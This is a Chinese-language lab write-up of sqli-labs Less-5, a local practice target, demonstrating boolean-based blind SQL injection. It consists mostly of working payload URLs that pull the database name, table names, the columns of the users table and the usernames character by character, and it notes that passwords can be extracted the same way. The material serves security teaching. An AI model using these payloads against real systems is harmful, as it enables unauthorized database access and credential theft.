看下图:
直接构造出Payload:
http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+
麻烦来了,没有爆出显示位
来看看源码,由源码可以看得出来,除了一个echo "You are in ....';以外再无其他输出。故由此得出为布尔型盲注
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常 http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常 http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确
注:select下的limit是第几个表。
substr下的是截取的表内容。
当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r
当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e
当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为...
............................................》》》推出第一个表的表明为:referer《《《.....
一下来推第二个表的内容:
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正确http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+ 正确
当前库下(注入点连接的数据库)第二个表ASCII码为117 解码为u
当前库下(注入点连接的数据库)第二个表ASCII码为97 解码为a
当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为...
............................................》》》推出第二个表的表明为:uagents《《《.....mysql> use security;Database changedmysql> show tables;+--------------------+| Tables_in_security |+--------------------+| emails || referers || uagents || users |+--------------------+4 rows in set (0.00 sec)
00x4 猜解字段
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+105的ASCII码为:i=》该字段为:idhttp://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+117的ASCII码为:u=>该字段为:usernamehttp://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+112的ASCII码为:p=>该字段为:password
有图可见只有三个字段,且程序是从0开始的。所以到2为止。
当为3时就报错了。
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+
00x5 猜解内容
格式:httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表明 order by id limit 0,1),1,1)>ASCOO码--+http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正确http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正确http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正确http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+ http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+.....................................................................................................................................最终解码后为:Dumb
格式:http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表名 order by id limit 1,1),1,1))=65 --+http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+..................................................................................................................................... 最终解码后为:Angelina
#注:上面两个测试的是username,如果要猜解密码,记得改一下就可以。